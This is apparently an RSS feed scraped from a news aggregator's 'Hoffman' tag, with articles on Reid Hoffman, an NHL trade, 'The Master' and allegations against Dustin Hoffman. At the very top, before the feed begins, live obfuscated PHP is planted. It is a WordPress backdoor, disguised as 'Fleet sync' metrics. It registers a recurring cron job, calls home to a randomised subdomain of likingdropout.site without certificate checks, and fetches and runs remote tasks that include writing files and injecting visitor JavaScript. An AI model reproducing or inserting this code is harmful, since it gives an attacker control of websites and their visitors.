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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Hoffman – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 08 Oct 2018 01:54:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Hoffman – Brief News https://briefnews.eu 32 32 LinkedIn co-founder Reid Hoffman shares his secret for fast growth and getting ahead of the competition https://briefnews.eu/linkedin-co-founder-reid-hoffman-shares-his-secret-for-fast-growth-and-getting-ahead-of-the-competition/ https://briefnews.eu/linkedin-co-founder-reid-hoffman-shares-his-secret-for-fast-growth-and-getting-ahead-of-the-competition/#respond Mon, 08 Oct 2018 01:54:06 +0000 http://briefnews.eu/linkedin-co-founder-reid-hoffman-shares-his-secret-for-fast-growth-and-getting-ahead-of-the-competition/ meeting business company teamShutterstock

  • Startups can be just as risky as they are promising — 20% of small businesses fail in just their first year.
  • But Reid Hoffman, venture capitalist and co-founder of LinkedIn, has a method for success that bucks tradition.
  • “Blitzscaling,” as Hoffman calls it in his new book, means prioritizing speed over efficiency in the face of uncertainty.
  • The method requires taking risks in a “do-or-die” environment, but promises competitive advantage.

Startups carry unavoidable risk — small businesses have a 20% chance of failing in their first year, and a 50% chance after five years.

The idyllic story of a Silicon Valley startup — beginning with just a few employees in a garage and consistently scaling over time until it’s a major company with hundreds of workers — is the anomaly, not the prototype. Most businesses don’t experience the same trajectory, and a startup with a solid foundation won’t always scale to become a force among its competitors. Some may have ups and downs, while others see slow, steady growth over a longer period of time.

Reid Hoffman, venture capitalist and co-founder of LinkedIn, understands how to achieve the kind of hypergrowth needed to survive in a world of companies like Amazon and Google. His new book, “Blitzscaling: The Lightning-Fast Path to Building Massively Valuable Companies,” focuses on the strategies and techniques that companies like these use to grow rapidly and stay ahead in their industries.

He sent Business Insider a presentation explaining how startups can use what he calls “blitzscaling” — prioritizing speed over efficiency — to grow quickly when faced with an uncertain future, and beat out the competition to take over the market.

Credit: Reid Hoffman, Chris Yeh, Ian Alas, Eric Strenger

Credit: Reid Hoffman, Chris Yeh, Ian Alas, Eric Strenger

Credit: Reid Hoffman, Chris Yeh, Ian Alas, Eric Strenger


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]]> https://briefnews.eu/linkedin-co-founder-reid-hoffman-shares-his-secret-for-fast-growth-and-getting-ahead-of-the-competition/feed/ 0 Sens GM says Hoffman had to go because dressing room was 'broken' https://briefnews.eu/sens-gm-says-hoffman-had-to-go-because-dressing-room-was-broken/ https://briefnews.eu/sens-gm-says-hoffman-had-to-go-because-dressing-room-was-broken/#respond Fri, 22 Jun 2018 03:24:29 +0000 http://briefnews.eu/sens-gm-says-hoffman-had-to-go-because-dressing-room-was-broken/ Ottawa general manager Pierre Dorion says the Senators had to trade forward Mike Hoffman because the team's dressing room was "broken."

Dorion spoke to reporters a day before the NHL draft with the Senators reeling from several public relations disasters, including the alleged cyberbullying of captain Erik Karlsson's wife by Hoffman's fiancée.

Hoffman, who has broken the 20-goal plateau in each of the last four seasons, was traded to the San Jose Sharks on Tuesday. San Jose then flipped him to Florida, Ottawa's Atlantic Division rival.

News broke last week that Melinda Karlsson filed a peace bond in May alleging Monika Caryk posted hundreds of derogatory and harassing online messages aimed at her and her husband.

Hoffman and Caryk have denied the allegations and have not been charged in relation to the incident.

"No rooms in the NHL are perfect," Dorion said. "I think we've all been around for a long time and we understand that those 23 guys, at times they're like brothers. They get on each other's nerves, but this wasn't an indictment on Mike Hoffman. This was just the direction that we needed to go."

Dorion said management "heard a rumour" about the situation between Karlsson and Hoffman at the end of the season.

"If we acted on every rumour we hear, we couldn't do our job in management as a general manager." Dorion said. "No player ever came to us about these things."

Winger Mikkel Boedker is the key piece coming to Ottawa from the Hoffman deal.

"We feel Mikkel Boedker is a good player, he had a great second half, he was San Jose's fifth-leading scorer in their two rounds in the playoffs," Dorion said. "We know with the culture that we're aiming to get, that he's going to fit in that dressing room."

The rift between the Karlssons and Hoffman and Caryk was just one of several recent eyesores for the Senators, who are at the draft without suspended assistant general manager Randy Lee.

Lee was charged with harassment after an incident at a pre-draft combine in Buffalo. He has pleaded not guilty to the charge.

Pierre Dorion said during a press conference in Dallas that the team had no choice, but to trade Mike Hoffman to correct problems in the dressing room. (CBC)

Negative headlines 

Other negative headlines about the Senators have piled up in the past year — quite a turnaround from the spring of 2017 when Ottawa was one goal away from reaching the Stanley Cup final, losing in double overtime of Game 7 against the Pittsburgh Penguins in the third round of the playoffs.

Just before the Lee and Karlsson-Hoffman story broke, Daniel Alfredsson was quoted as saying he hopes the team is sold to ensure its future in the nation's capital.

Meanwhile, a baby garment featuring the Senators logo was recalled because of a potential choking hazard.

Prior to a showcase outdoor game last December in Ottawa, things also turned ugly for the franchise. Former Ottawa centre Kyle Turris, who was traded to the Nashville Predators in a three-way deal the previous month, told The Canadian Press that Melnyk was the reason he was no longer with the Senators.

Then, on the eve of the outdoor game, Melnyk hinted he might have to move the franchise if lagging ticket sales didn't improve. Later, #MelnykOut was launched on Twitter, eventually spreading to billboards across the city.

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]]> https://briefnews.eu/sens-gm-says-hoffman-had-to-go-because-dressing-room-was-broken/feed/ 0 In ‘The Master,’ Philip Seymour Hoffman Smiles Down on Us All https://briefnews.eu/in-the-master-philip-seymour-hoffman-smiles-down-on-us-all/ https://briefnews.eu/in-the-master-philip-seymour-hoffman-smiles-down-on-us-all/#respond Sat, 03 Feb 2018 13:32:28 +0000 http://briefnews.eu/in-the-master-philip-seymour-hoffman-smiles-down-on-us-all/ the-master-screenshot-01

On February 2, 2014, Philip Seymour Hoffman passed away at the age of 46. The actor left behind a singular body of work that has garnered him lasting praise for his dedication to craft. In the January 2018 issue of Vogue, his longtime partner, Mimi O’Donnell, reflected on the personal loss of him as a collaborator and as the father of her three children. Even for those of us who never met the man in real life, there is a loss that is felt, but the nature of Hoffman’s work as a film actor is such that he continues to live on on-screen.

What’s the greatest Philip Seymour Hoffman performance? Everyone probably has a different answer to that question. The film of his that hits me the hardest happens to be one of his last. It’s a film that is deep and devastating, made with his frequent collaborator, Paul Thomas Anderson. Hoffman plays a character named Lancaster Dodd and to this day, just thinking about the film calls up heavy emotions for me, because it came at a time in my life when I had just moved, didn’t know a lot of people outside of work, wasn’t in a relationship, and was cut off from family and friends, who had all just become Skype faces seen from half a world away.

In a weird way, these living circumstances may have primed me to receive the film and its themes on a more empathetic level than I would have otherwise. This is all a roundabout way of saying: Dodd is God. That is my reading of The Master.

The Dodd-is-God takeaway may seem like a strange one to have, since it comes from a movie in which Hoffman plays the leader of a movement (don’t call it a cult) that ultimately may be nothing more than a sham excuse to round up a bunch of stray social animals and form a quirky community with them. Human beings have been nurturing the impulse for tribalism since the dawn of recorded history. Each tribe looks to a leader, and as a leader, Lancaster Dodd has readily evident flaws that at times paint him as nothing more than a charlatan.

However, when you line Dodd up against Freddie Quell — the film’s animalistic main character, played by Joaquin Phoenix — he starts to look a lot more favorable by comparison. In Freddie, we see a figure who acts out in such weird ways that it’s as if he’s lobbying to be the ultimate dysfunctional human being. In that capacity, he symbolizes the screw-up in all of us. First and foremost, Freddie is a slave to his own aberrant behavior, but when he meets Dodd, life presents him with the chance to serve a new master and be part of a family.

Themes of redemption and disappointing fathers and wayward sons run all throughout Paul Thomas Anderson’s filmography, and this includes The Master. In Boogie Nights, Anderson turned a sympathetic lens on people in the porn industry. He was able to humanize them, or at least use their milieu as the setting for an unlikely family drama. In the same way, The Master wiggles past all the sticky Scientology comparisons made about it to just show a troubled loner, Freddie, struggling to integrate with a group of people. “The Cause” is a community, not a cult. It’s a haven for lost souls.

So how exactly is Dodd God? Well, it depends on what your definition of God is. One of the things 12-step programs like Alcoholics Anonymous will try and get a person to do is recognize the need for a higher power, then surrender himself or herself to that power (in whatever form it may take; atheists can also have a higher power). In The Master, Freddie’s higher power is embodied by the ruddy complexion of Lancaster Dodd.

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The Family Film

It may sound like a funny endorsement, but if the “cult” word must be used, then all I can say is that if you’re on the same emotional wavelength as The Master, it might make you finally understand the appeal of joining a cult. The reason the film works for me is that I view it as a doomed romance steeped in the basic human need for familial love.

Anderson himself floated an idea like this in the press when the film premiered at the 2012 Venice Film Festival. “I think we were just trying to tell a love story between these guys,” he said.

I would argue that the film isn’t even really a bromance, but rather, a story about a guy cut off from the love of family, who has a shot at a surrogate unit led by the one person in the world who seems to see something in him beneath the uncouth outer layer, with its penchant for dirty words. (In the grand tradition of Magnolia’s Frank T.J. Mackey seminars, there’s some fine cussing in The Master. My personal favorite is this outburst.)

Because it makes for good drama, the guy in question rejects that shot at a family due to his own fickle nature. The arc Freddie Quell undergoes in this film is one of regression or reversion. You could view it through a humanistic lens, and say there is nothing spiritual about his journey, insofar as the word “spiritual” would imply something beyond this earthly realm. In that case, Lancaster Dodd would just be a mentor or father figure, not a character symbolic of any deity.

It could be that Dodd is right when he addresses his followers and says, “The source of all creation, good and evil … is you.” It could be that we are alone in the universe, and man created God, not the other way around. The film certainly works on a more grounded level like that, just on poignant human terms. But I think there is another reading one might take away from it, too.

That reading requires supreme open-mindedness, a willingness to recognize the possibility of certain flaky ideas that are bound up in the film’s narrative. The Master has a lot of tools in its kit: gorgeous cinematography, a lush score by Jonny Greenwood, a writer-director who ranks as one of cinema’s modern masters, and top-level performances by heavyweight actors, three of whom (Phoenix, Hoffman, and Amy Adams) earned Oscar nominations for this film. These tools are all used in service of a story that flirts with ideas of past lives, souls cleansing themselves over multiple purgatory runs.

When Dodd’s wife, Peggy, played by Adams, admonishes Freddie for his lack of commitment to the Cause with the statement, “This is something you do for a billion years, or not at all,” that actually makes a crazy kind of sense to me. When I watch The Master, I feel like the whole movie is a spiritual allegory, a parable for people who are damaged goods, having, as Dodd puts it, “wandered from the proper path” and become isolated, perhaps because some dependency is mastering them. It is not just a family, but rather, the whole human family that the Cause represents.

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A Stubborn Donkey to the End

In Boogie Nights, the dependency was cocaine. Dirk Diggler got coked up and it started to go to his head. Anything can be a drug, but when a drug really becomes an addiction, it will usually start to interfere with you as a social being. That is what has happened with Freddie, the troubled loner.

What if Dirk had never come back into the fold and reconciled with Jack Horner at the end of Boogie Nights?

The answer to that question is alive in the person of Freddie Quell. Freddie Quell basically says: non serviam. “I will not serve.” He wants to be his own master, like Dirk when he went off and started making skin flicks on his own. But the truth is, Freddie, with his beastly habits and animal-like body language, is mastered more by alcoholism and his own base instincts than anything else.

When Freddie and Dodd first meet, Dodd tells him he is “aberrated.” From the very beginning, Freddie has shown us that with his eccentric behavior: picking fights with department store customers, having a one-track mind when it comes to ink blots, and dry-humping sand women on the beach, among other things. Some of this acting out might be considered a manifestation of his drinking problem and the state of constant degradation, misplaced anger, and unresolved hurt it causes him to live within. The department store fight, for instance, happens after his date the night before is ruined by him passing out in the booth, KO-ed by one of his own concoctions.

The Cause presents Freddie with an opportunity to reform himself. A pre-requisite of that, however, is that he must learn to humble himself. That’s a hard thing to do, particularly for someone with a stiff rebellious streak like him. Dodd being an openly flawed master — prone to angry outbursts, for example — doesn’t make submission an easier thing to accept.

Another theory out there is that Freddie is actually one of Dodd’s past-life selves, who has come back to haunt him. But I actually find it more interesting that, if there is a God, the Creator might not necessarily be perfect in our eyes.

Could you, would you, accept the authority of a sovereign ruler, in this case, a universe-ruler, even if you did not always agree with them? What if God, like Dodd, is just — to quote Dodd’s son, played by Jesse Plemons — “making it all up as he goes along?”

If there is a God and humankind is indeed made in the image of that deity, then perhaps our own mercurial nature as human beings is an indication of something. Maybe God has mood swings and alters his plans sometimes, just like we do.

Whatever the case, if you look into Philip Seymour Hoffman’s eyes during the film’s processing scene, you will see a Dodd, or God, who genuinely feels for people, sees their scars, and wants to help them.

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  • Seven women who have accused Dustin Hoffman of sexual misconduct signed an open letter thanking John Oliver for confronting him.
  • “While the questions you asked may not have led to the constructive conversation you hoped for, the fact that you asked them at all is what matters most,” they wrote in the letter.

Seven women who have accused Dustin Hoffman of sexual misconduct signed on open letter thanking John Oliver for confronting the actor over his alleged behavior.

Oliver brought up the allegations against Hoffman earlier this month at a panel discussion with the actor for the 20th anniversary of “Wag the Dog.” The exchange between Oliver and Hoffman went viral as the two went back and forth about the allegations.

A few days ago, Oliver spoke for the first time about his confrontation with Hoffman, saying, “It didn’t really go anywhere constructive, so the whole thing just made me feel sad.”

The women who have accused Hoffman have a different take.

“We want to thank you for confronting Dustin Hoffman,” the letter from the women says. “While the questions you asked may not have led to the constructive conversation you hoped for, the fact that you asked them at all is what matters most.”

Here’s the entire letter sent out from the Twitter account of Anna Graham Hunter, who was the first woman to come forward with allegations against Hoffman in a guest column in The Hollywood Reporter. In the column, she alleged that Hoffman groped and sexually harassed her on the set of the 1985 movie “Death Of A Salesman” when she was 17.

Hoffman addressed Hunter’s account specifically in his exchange with Oliver.

“First of all, it didn’t happen the way she reported,” Hoffman said to Oliver during the panel. “I still don’t know who this woman is. I never met her. If I met her, it was in concert with other people.” (Hoffman and his representatives have denied some of the other allegations against him as well.)

Here is a list of the allegations against Hoffman and his various responses. 

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Dustin Hoffman faces more sexual misconduct allegations, including exposing himself to two teen girls years ago in New York, from five women whose stories were published by Variety and the Hollywood Reporter on Thursday.

The new allegations include the daughter of the former UN ambassador from Liberia who told both trade publications that Hoffman showered then came out and dropped his towel in front of her in his hotel room when she was 16. Two other women told the Variety they were sexually assaulted, one while working on the film Ishtar in the 1980s, the other in the back of a station wagon.

Representatives for the 80-year-old actor, who has already been publicly accused of sexual assault and misconduct by three other women, did not immediately return BuzzFeed News’ request for comment on the new allegations. However, Hoffman’s attorney told Variety the accusations were “defamatory falsehoods.”

The ambassador’s daughter, Cori Thomas, told Variety she was friend’s with Hoffman’s daughter in high school when instead of her mom picking her up at a pre-determined restaurant, the actor suggested they leave a note with the maitre d’ saying they had instead gone to his hotel.

Hoffman, who was separating from this wife at the time, was staying at the hotel while renovating a new apartment. Once at the hotel room, Thomas told Variety he sent his daughter home and she stayed behind waiting for her mom. That’s when he allegedly exposed himself to her before eventually putting a robe on and asking her to rub his feet, which she said she did.

“I think I almost collapsed, actually,” she told Variety. “It was the first time I had ever seen a naked man. I was mortified. I didn’t know what to do.”

They were interrupted when her mom called the phone to pick her up downstairs, Thomas said. She told Variety she waited years to tell anyone about the alleged encounter because she was mortified.

A second woman, Melissa Kester, told Variety she was helping Hoffman in a voice recording booth for the 1987 action comedy Ishtar when he sexually assaulted her.

The recent college graduate alleged that while standing next to him in the booth — with them only visible to the techs outside from the waist up — the actor shoved his hands down her pants and put his fingers inside her for 15 to 20 seconds until the take was over and she moved away.

“I just stood there,” Kester told Variety. “I just froze in the situation like, ‘Oh my god, what is happening?’ It’s shocking when that happens to you.”

A third woman who declined to be identified told Variety that she wound up next to Hoffman in the back of a packed station wagon the night of the wrap party for Ishtar when the actor ran his hand up her skirt and put his fingers insider her, “smiling at me.”

“I was frozen,” the woman told Variety. “I was outside of my body.”

The Hollywood Reporter also published the account Thursday of a woman identified only as Pauline, who alleged that Hoffman invited her to his New York home in 1973 when she was just 15 and proceeded to masturbate in front of her when they were alone.

The allegations add to a series of other similar stories of misconduct from dating back to the 1980s. Anna Graham Hunter published a letter in the Hollywood Reporter in October alleging that Hoffman assaulted her when she was a production assistant on 1985’s Death of a Salesman. Hunter said she was 17 at the time.

Kathryn Rossetter also followed up with a guest column for the Hollywood Reporter alleging Hoffman groped and assaulted her while working on the Broadway production of Death of a Salesman. And Wendy Riss Gatsiounis, a producer, alleged the actor propositioned her for sex during a work meeting.

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]]> https://briefnews.eu/new-allegations-against-hoffman/feed/ 0 Oh Good, Alec Baldwin Has Some Thoughts on the John Oliver-Dustin Hoffman Thing https://briefnews.eu/oh-good-alec-baldwin-has-some-thoughts-on-the-john-oliver-dustin-hoffman-thing/ https://briefnews.eu/oh-good-alec-baldwin-has-some-thoughts-on-the-john-oliver-dustin-hoffman-thing/#respond Thu, 07 Dec 2017 17:19:09 +0000 http://briefnews.eu/oh-good-alec-baldwin-has-some-thoughts-on-the-john-oliver-dustin-hoffman-thing/ John Oliver’s grilling of Dustin Hoffman over sexual harassment allegations at a Monday night anniversary screening of Wag the Dog continues to generate chatter and controversy, much of it currently coming in the form of criticism against Mr. Oliver by (you may need to sit down, you’ll never believe this) other male actors.

You could catch a whiff of the form this criticism would take right from the beginning, when notoriously industry-chummy Deadline reported the tense conversation by noting that the “well-heeled audience” had “paid hefty ticket prices” and were “looking forward to a breezier night.” That concern – of the “proper” time and place for such a discussion – was subsequently echoed by industry observers like Movie City News’ David Poland, who tweeted:

And then the actors hopped on board. You have Michael Rapaport, best remembered as that one guy in True Romance and that one boyfriend of Phoebe’s on Friends, who had this to say:

So yes, the self-anointed “MVP of Talking Trash” is furious that you didn’t call him “Mr. Hoffman” while ruining “paying customers evening out in Manhattan.” But more to the point, there’s that question of timing again – “you came to moderate a discussion about a movie” – which was echoed by Ron “We Thought You Were One of the Good Ones” Perlman:

But no ill-informed discussion by privileged rich dudes would be complete without smug blowhard Alec Baldwin wading in to vomit up some nonsense. We can’t view Mr. Baldwin’s tweets because he blocked our site after this, but thanks to the AV Club, we can tell you that Mr. Baldwin had this to say about the matter:

What’s fun about Alec Baldwin is that he not only has bad opinions, but bad opinions based on in accurate information. So just as he lashed out against Decider on the basis of a non-existent connection to Gawker, here he seems to think that Oliver interrogated Hoffman on his talk show, except he didn’t (and also it’s not a talk show, and he rarely if ever interviews guests). Nevertheless! The friend and collaborator of James Toback, accused of harassing and assaulting literally hundreds of women, would like us all to take a chill pill:

The problem with this “it was a different time” business, of course, is that it’s part and parcel of the thinking that enables the more “malicious” behavior, and if you’re going to fix a problem, you have to attack it at its root. The revelations that have come forth over the previous weeks are clearly, based on not only their volume but the staggering periods of time in which they were allowed to occur and the vast numbers of people who allowed and enabled their perpetrators, not the actions of a handful of “felons,” but the result of a widespread rape culture that begins with a dab of “harmless” harassment in the workplace and progresses accordingly. You can’t gingerly pluck this rotten fruit from the branch. You’ve got to dig the fucking trees up and plant new ones.

That’s also why the pearl-clutching by Baldwin, Perlman, Rapaport, and the rest over the inappropriateness of the time and place must be dismissed with the same bad faith they’re applying to the entire conversation. Of course this was not the “appropriate venue” for that conversation – because this industry in particular and this culture in general is constructed in such a way that there is never an “appropriate venue” in which to “fight it out” with powerful men. So you have to take your shot, and ask your questions, whenever you get the opportunity. Oliver did that. Good on him.

And for that matter, if we’re so obsessed with these rules of polite society, chew on this: the workplace is not the proper time and place to scam on women, and yet Hoffman had no problem doing so – from the very first set he walked on, by his own admission. So maybe his fans and fellow actors shouldn’t worry so much about the proper time and place to call him on it. Just a thought.

                        

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]]> https://briefnews.eu/oh-good-alec-baldwin-has-some-thoughts-on-the-john-oliver-dustin-hoffman-thing/feed/ 0 John Oliver Presses Dustin Hoffman on Sexual Harassment Allegations https://briefnews.eu/john-oliver-presses-dustin-hoffman-on-sexual-harassment-allegations/ https://briefnews.eu/john-oliver-presses-dustin-hoffman-on-sexual-harassment-allegations/#respond Wed, 06 Dec 2017 01:32:03 +0000 http://briefnews.eu/john-oliver-presses-dustin-hoffman-on-sexual-harassment-allegations/ A seemingly innocuous anniversary film screening turned decidedly fraught at New York’s 92nd Street Y last night, as John Oliver used part of a Wag the Dog panel to press Dustin Hoffman on recent accusations of sexual misconduct – and Hoffman angrily pushed back.

Oliver was moderating the hour-long discussion for the 1997 film, with director Barry Levinson, producer Jane Rosenthal, and co-star Robert De Niro also present. According to the Washington Post, about midway through the conversation about the film – which, point of fact, begins with a powerful man accused of groping an underage woman – to broach Anna Graham Hunter’s accusation that Hoffman harassed her on a film set when she was 17, as well as Hoffman’s own recollection of groping Katharine Ross on the set of The Graduate. “This is something we’re going to have to talk about because … it’s hanging in the air,” Oliver said, and proceeded to interrogate Hoffman about the actor’s kinda-sorta apology for the former (“I have the utmost respect for women and feel terrible that anything I might have done could have put her in an uncomfortable situation. I am sorry. It is not reflective of who I am.”)

“It’s ‘not reflective of who I am’ — it’s that kind of response to this stuff that pisses me off,” Oliver told the actor.  “It is reflective of who you were. If you’ve given no evidence to show it didn’t [happen] then there was a period of time for a while when you were a creeper around women. It feels like a cop-out to say ‘it wasn’t me.’ Do you understand how that feels like a dismissal?”

In response, Hoffman basically admitted that his statement wasn’t genuine (“If you get into a dispute, it lengthens the argument”), accused Hunter of lying (“First of all, it didn’t happen the way she reported”), told Oliver that “You weren’t there” (“I’m glad,” Oliver replied), and accused the moderator of “putting me on display.” “You have indicted me,” Hoffman told the host. “That’s not innocent until proven guilty.”

As Oliver read further from Hunter’s statement, Hoffman asked, “Do you believe this stuff you read?”

“Yes,” Oliver replied. “Because there’s no point in [an accuser] lying.”

“Well, there’s a point in her not bringing it up for 40 years,” Hoffman said.

“Oh Dustin,” Oliver sighed.

An audience member captured some of the tense conversation, which the Post has published:

It’s uncomfortable to read, and even more uncomfortable to watch. But if this culture is ever going to change, more people have to be willing to raise these subjects, whatever the consequence. For his part, Oliver repeatedly apologized to the audience for “ruining” their evening, but explained, “I can’t leave certain things unaddressed. That leads to me at home later tonight hating myself, asking, ‘Why the fuck didn’t I say something?’ No one stands up to powerful men.”

                    

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]]> https://briefnews.eu/john-oliver-presses-dustin-hoffman-on-sexual-harassment-allegations/feed/ 0 Before billionaire LinkedIn founder Reid Hoffman met Peter Thiel in college, the ‘pinko commie’ had heard of the ‘libertarian wacko’ — now, they’ve been friends for 30 years https://briefnews.eu/before-billionaire-linkedin-founder-reid-hoffman-met-peter-thiel-in-college-the-pinko-commie-had-heard-of-the-libertarian-wacko-now-theyve-been-friends-for-30-years/ https://briefnews.eu/before-billionaire-linkedin-founder-reid-hoffman-met-peter-thiel-in-college-the-pinko-commie-had-heard-of-the-libertarian-wacko-now-theyve-been-friends-for-30-years/#respond Thu, 23 Nov 2017 22:08:42 +0000 http://briefnews.eu/before-billionaire-linkedin-founder-reid-hoffman-met-peter-thiel-in-college-the-pinko-commie-had-heard-of-the-libertarian-wacko-now-theyve-been-friends-for-30-years/ reid hoffman archive peter thielGreylock Partners

  • Reid Hoffman and Peter Thiel have been been friends for 30 years and worked together at PayPal.
  • From the day they met at Stanford, they were ideological opposites.
  • The results of their friendship have made them two of the most influential people in Silicon Valley.

To a casual observer, the friendship between Reid Hoffman and Peter Thiel may not make any sense. The two billionaire investors are actively on opposite sides of the political spectrum, with Thiel as President Donald Trump’s connection to the tech world and Hoffman as a donor to and advocate of the politicians opposing Trump every step of the way.

While the stakes are high enough now that their support can affect the entire United States, their roles as ideological opposites were established from the day they met. It’s actually the crux of their 30-year friendship, Hoffman explained in a recent episode of Business Insider’s podcast “Success! How I Did It” — and this friendship has been one of the most influential in Silicon Valley’s history.

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Hoffman and Thiel met as sophomores at Stanford, after both had heard plenty about the other: Hoffman heard Thiel was a “libertarian wacko” and Thiel heard Hoffman was a “pinko commie,” as Hoffman put it in an episode of his own podcast, “Masters of Scale.”

Hoffman told us that as soon as they started talking to each other, they began arguing, “and the first umpteen conversations were all literally discovering all of the areas where we disagreed. And I think part of the reason that our friendship formed [was] that in those discussions, we both realized that we had a real strong belief in truth, we had a real strong belief in discourse as the way of getting there, we had a strong belief in listening to alternative perspectives. I know that he certainly made my thinking a lot sharper and I hope I did the same for him.”

Several years after college, in the mid-1990s, the two even had a short-lived public access TV show in California. They would have a guest on, like an editor from the conservative magazine “The American Spectator,” for the purpose of discussing a topic, but Hoffman said the conversations always ended up as he and Thiel arguing with each other.

When Thiel launched the online payment service PayPal in late 1998, he brought Hoffman along as a founding board member. Hoffman would join as a full time employee in 2000, staying until they sold the company to eBay in 2002.

This was the age of the so-called “PayPal Mafia,” where Hoffman and Thiel worked alongside a cast of tech power players like SpaceX and Tesla CEO Elon Musk and the founders of YouTube. The team Thiel assembled became the foundation for a generation of Silicon Valley entrepreneurs who not only built their own successful companies but guided subsequent generations.

One of those younger entrepreneurs was Mark Zuckerberg, who met Hoffman in 2004 when the 20-year-old college dropout was looking for funding for his startup, The Facebook. Hoffman called up Thiel to join him in a meeting with Zuckerberg, and they ended up becoming the first investors in the company.

Today, the two friends are notable players in some of the most vicious times in recent American political history, but while Hoffman hates that Thiel supports Trump, he still turns to him for entrepreneurial insights.

“Peter is, as anyone who knows, super smart — an out-of-the-box thinker and as likely to provoke you with a question that you hadn’t thought of as anyone else on the planet,” Hoffman said.

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LinkedIn founder Reid Hoffman has found massive success in his career. He was an early executive at PayPal, he founded LinkedIn, and he’s now an investing partner at Greylock Partners. Where did that success come from? Hoffman joined Business Insider’s podcast, “Success! How I Did It,” to answer the age-old question: does success stem from luck or hard work?

Richard Feloni: How much do you think success is a matter of effort and hard work, and how much do you think would be luck in terms of where you were born, who your parents are, gender, race, et cetera?

Reid Hoffman: So this is one of those false-dichotomy questions because the answer is massively both, right?

Some people who are successful like to say, “It’s all skill! It was my capabilities!” And it’s, like, “No, no.”

Like, I was lucky to have been born in the Stanford Hospital, to have gone to Stanford, to know about the network, to participate in it, to make some great friends and connections that kind of helped me along with it. All of that stuff is hugely serendipitous. On the other hand, you also try to think and act as strategic as you could, you try to learn constantly, you work hundred-hour weeks, are constantly kind of trading lessons and information with each other in order to make it happen.

So the short answer is, it’s both massively luck and massively hard work. Sometimes it’s more luck than hard work, and sometimes it’s more hard work than luck. But every success requires both.

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The host was chatting to the actor and his co-star Adam Sandler about their new film The Meyerowitz Stories when the 80-year-old decided he would not answer anymore questions. 

Things had already become slightly awkward before the interview came to a close as Charlie said: “I hope you don’t mind me asking, you’ve just turned 80…”

“Go ahead Charlie, take your best shot,” Dustin hit back. 

A nervous Charlie continued: “All I was going to ask was, you’re going to just keep going, you’re not slowing down are you?”

Slightly stunned by the question, the star replied: “I don’t understand why that does happen because it’s one thing to go through life having a job but it’s another thing for we lucky few who don’t call it our job.

“It’s our work and I don’t know how you stop doing what is in a sense your work.”

Dustin went on to quip: “If you were going to ask something about sexual differences now that I’m 80 I could spend more time with you on that,” as he hinted he would not answer any more questions.

Charlie appeared red-faced and nervously laughing as he noted: “I’ll tell you what, breakfast television has never heard the like…”

“That’s it perfect, have a good day and enjoy your cereal,” Adam chipped in as they ended the interview. 

Back in the studio, Louise Minchin and Dan Walker could not stop laughing at the awkward moment, with the former commenting: “I can’t believe it, knowing Charlie as we do, that he didn’t ask another question. For once Charlie was…”

“Maybe he did but it never made the final edit,” Dan said in defence of his co-host. 

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